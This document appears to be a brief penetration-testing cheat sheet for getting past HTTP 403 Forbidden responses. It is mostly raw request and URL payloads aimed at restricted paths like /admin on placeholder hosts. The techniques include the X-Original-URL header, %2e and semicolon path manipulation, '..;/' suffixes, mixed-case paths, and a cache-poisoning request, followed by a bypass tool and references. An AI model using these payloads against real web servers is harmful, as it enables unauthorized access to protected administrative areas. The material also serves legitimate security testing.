Bypass 403 (Forbidden)

1. Using "X-Original-URL" header

GET /admin HTTP/1.1
Host: target.com

Try this to bypass

GET /anything HTTP/1.1
Host: target.com
X-Original-URL: /admin

1. Appending %2e after the first slash

http://target.com/admin => 403

Try this to bypass

http://target.com/%2e/admin => 200

1. Try add dot (.) slash (/) and semicolon (;) in the URL

http://target.com/admin => 403

Try this to bypass

http://target.com/secret/. => 200
http://target.com//secret// => 200
http://target.com/./secret/.. => 200
http://target.com/;/secret => 200
http://target.com/.;/secret => 200
http://target.com//;//secret => 200

1. Add "..;/" after the directory name

http://target.com/admin

Try this to bypass

http://target.com/admin..;/

1. Try to uppercase the alphabet in the url

http://target.com/admin

Try this to bypass

http://target.com/aDmIN

1. Via Web Cache Poisoning

GET /anything HTTP/1.1
Host: victim.com
X­-Original-­URL: /admin

Tools

• Bypass-403 | Go script for bypassing 403 forbidden

References

• @iam_j0ker

• Hacktricks